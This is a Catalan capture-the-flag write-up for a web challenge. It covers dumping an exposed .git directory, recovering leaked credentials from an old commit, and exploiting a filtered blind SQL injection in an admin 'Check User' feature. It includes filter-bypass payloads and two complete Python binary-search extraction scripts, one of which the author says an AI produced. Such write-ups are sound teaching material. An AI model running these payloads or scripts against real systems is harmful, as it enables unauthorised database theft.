Benvingut de nou amb un altre escrit! Avui parlarem del repte web Unseen Path to secret de l'ASC Cyber ​​WarGames CTF.

Resum

Analitzant un repositori de Git filtrat per extreure credencials i, a continuació, pivotar a una injecció SQL amb un filtrat intens per extreure la bandera.

Camí invisible al secret

Estem representats amb aquesta pàgina "Lloc en construcció".
Site Under Construction
Com que no està permès el fuzzing, podem intentar trobar algunes pistes.
Allà baix Powered by Github · PHP · SQLite · Apache. Immediatament vaig pensar a comprovar el camí /.git/
Git path
S'ha produït un error Prohibit, però això no vol dir que no puguem accedir al repositori, de vegades només bloqueja aquest camí, però no el repositori real.
Així que vam provar /.git/config o /.git/HEAD i tenim alguns fitxers!
Git config
Aamzing! a continuació, l'aboquem amb git-dumper:
git-dumper http://34.18.12.84:8086/.git/ repo
Això crearà una carpeta repo amb tots els fitxers dins del repositori git.
Al repo tenim alguns fitxers: index.php, login.php, però tots dos no tenien cap bona informació.
El següent que normalment intenteu és comprovar les confirmacions anteriors
git log
Això va fer servir tots els commits. Eren uns 50, així que per a una vista més neta podem utilitzar git log --oneline per obtenir una única línia per a cada commit.
I hem rebut un missatge de commit interessant Delete Secrets!
Git commit
Així que comprovem la confirmació abans d'aquesta utilitzant git checkout 0a6893d i trobem un fitxer anomenat .config.php.swp que conté algunes credencials
Config file
Visitem login.php al lloc web i intentem iniciar sessió amb les credencials que hem trobat i ens trobem!

Se'ns presenta un tauler d'administració amb algunes funcionalitats
Admin panel
Hi havia un paràmetre action a l'URL que podem utilitzar per obtenir diferents pàgines, el vam provar amb algunes vulnerabilitats com LFI, però això no va donar res.
L'única funcionalitat interessant va ser la Check User (Test) que ens permet comprovar si un usuari està actiu o no.
Check User
Al principi vaig provar la injecció d'ordres del sistema operatiu, però hi havia algun tipus de filtre que bloquejava símbols com ; `` > < = $
A continuació, vam provar la injecció sql amb la nostra càrrega bàsica ' or 1=1 -- , però això no va funcionar ja que = està bloquejat.
Jugant amb la càrrega útil ' or 1 -- em va aconseguir User is active, la qual cosa significa que ha tornat cert i allà tenim una injecció sql cega!
True sql
Per confirmar-ho, la càrrega útil ' or 0 -- em va obtenir User not found, el que significa que ha tornat fals
false sql
Després d'una mica de prova, descobrim un filtre que bloqueja <, >, ", union i moltes altres coses
Ara, com que sqlmap no funcionarà aquí, hem de trobar una manera de saltar aquest filtre manualment.
El meu amic Korea va idear una càrrega útil que utilitza Unicode per evitar el filtre
' OR (SELECT unicode(substr(name,1,1)) FROM sqlite_master WHERE type GLOB 'table' LIMIT 1) BETWEEN 0 AND 127--
Aquesta càrrega útil intenta extreure el primer nom de la taula de la taula sqlite_master i avalua si el valor Unicode del seu primer caràcter es troba dins de l'interval ASCII (0–127). Vaig utilitzar l'operador BETWEEN en comptes de = ja que estava bloquejat. Com era d'esperar, la condició va retornar vertadera, confirmant que el primer caràcter del nom de la taula es troba dins de l'interval ASCII.
El meu amic 0XMohomiester també va descobrir una altra càrrega útil:
' OR 's' IN (SELECT substring(name,2,1) FROM sqlite_master where type IN('table')) --
Ara hem d'automatitzar aquesta operació per exfiltrar els noms de les taules Amb l'ajuda de la IA, em va fer un script per extreure totes les taules de la base de dades i va fer un gran treball:
import requests
import urllib.parse
import time

# Target endpoint
url = "http://34.18.12.84:8086/admin.php?action=check"

# HTTP headers, including your session cookie
headers = {
    "Host": "34.18.12.84:8086",
    "Content-Type": "application/x-www-form-urlencoded",
    "Cookie": "PHPSESSID=0bc1e25088b2b6506cc3cbd31ac833de",
}

# True and false indicators in the HTTP response
true_indicator = "User is active"
false_indicator = "User not found"

# Sends a POST request with the given SQL payload
def send_payload(payload):
    encoded_payload = urllib.parse.quote_plus(payload)
    data = f"action=check&username={encoded_payload}"
    print(f"[>] Sending payload: {payload}")
    response = requests.post(url, headers=headers, data=data)
    print(f"[<] Status: {response.status_code} | Length: {len(response.text)}")

    if true_indicator in response.text:
        print("[✓] Condition is TRUE\n")
        return True
    elif false_indicator in response.text:
        print("[✗] Condition is FALSE\n")
        return False
    else:
        print("[!] Unexpected response:\n", response.text[:200])
        return False

# Extracts a single table name at given offset
def extract_table_name(offset):
    result = ""
    pos = 1
    print(f"\n[!] Extracting table name at OFFSET {offset}...\n")

    while True:
        # Template for the payload with OFFSET
        payload_template = (
            "' OR (SELECT unicode(substr(name,{pos},1)) FROM sqlite_master "
            "WHERE type GLOB 'table' LIMIT 1 OFFSET {offset}) BETWEEN {low} AND {high}--"
        )

        # Extract one character at a time using binary search
        def extract_char(pos):
            low, high = 32, 126  # Printable ASCII
            while low <= high:
                mid = (low + high) // 2
                payload = payload_template.format(pos=pos, low=low, high=mid, offset=offset)
                result = send_payload(payload)

                if result:
                    high = mid - 1
                else:
                    low = mid + 1
                time.sleep(0.2)  # Optional delay
            return chr(low) if 32 <= low <= 126 else None

        ch = extract_char(pos)
        if ch is None:
            break
        result += ch
        print(f"[+] Table name so far (offset {offset}): {result}")
        pos += 1

    if result:
        print(f"[✔] Table at OFFSET {offset}: {result}")
    else:
        print(f"[!] No table found at OFFSET {offset}")
    return result

# Main loop to extract multiple table names
if __name__ == "__main__":
    max_tables = 5  # Try up to 5 table names
    all_tables = []

    for offset in range(max_tables):
        table = extract_table_name(offset)
        if not table:
            break
        all_tables.append(table)

    print("\n[🏁] Extracted Tables:")
    for i, t in enumerate(all_tables):
        print(f"  [{i}] {t}")

La sortida va ser la següent
[🏁] Extracted Tables:
  [0] users
  [1] secrets
Ara hem d'obtenir la bandera de la taula secrets, també podríem especificar els noms de les columnes, però el meu amic va suposar que la bandera estarà a la columna anomenada secret i aquesta hipòtesi era correcta.
El guió final:
import requests
import urllib.parse
import time

# Target URL
url = "http://34.18.12.84:8086/admin.php?action=check"

# Headers (including PHPSESSID cookie)
headers = {
    "Host": "34.18.12.84:8086",
    "Content-Type": "application/x-www-form-urlencoded",
    "Cookie": "PHPSESSID=0bc1e25088b2b6506cc3cbd31ac833de",
}

true_indicator = "User is active"
false_indicator = "User not found"

# Send payload and determine TRUE or FALSE
def send_payload(payload):
    encoded = urllib.parse.quote_plus(payload)
    data = f"action=check&username={encoded}"
    print(f"[>] Payload: {payload}")
    response = requests.post(url, headers=headers, data=data)
    print(f"[<] Status: {response.status_code}, Length: {len(response.text)}")

    if true_indicator in response.text:
        print("[✓] TRUE\n")
        return True
    elif false_indicator in response.text:
        print("[✗] FALSE\n")
        return False
    else:
        print("[!] Unexpected response:\n", response.text[:200])
        return False

# Extract one character at a time using binary search
def extract_char_at_pos(pos):
    low, high = 32, 126
    while low <= high:
        mid = (low + high) // 2
        payload = (
            f"' OR (SELECT unicode(substr(secret,{pos},1)) FROM secrets LIMIT 1) "
            f"BETWEEN {low} AND {mid}--"
        )
        result = send_payload(payload)
        if result:
            high = mid - 1
        else:
            low = mid + 1
        time.sleep(0.2)
    return chr(low) if 32 <= low <= 126 else None

# Full flag extractor
def extract_flag():
    result = ""
    pos = 1
    print("\n[!] Starting flag extraction from secrets.secret...\n")
    while True:
        ch = extract_char_at_pos(pos)
        if ch is None:
            break
        result += ch
        print(f"[+] Flag so far: {result}")
        pos += 1
    print("\n[✔] Extraction complete.")
    return result

if __name__ == "__main__":
    flag = extract_flag()
    print(f"\n[🏁] Final Flag: {flag}")
I aquí tenim la nostra bandera
[✔] Extraction complete.

[🏁] Final Flag: ASCWG{VIM_SPILL_SQLI_DRILL}
ASCWG{VIM_SPILL_SQLI_DRILL}
Etiquetes: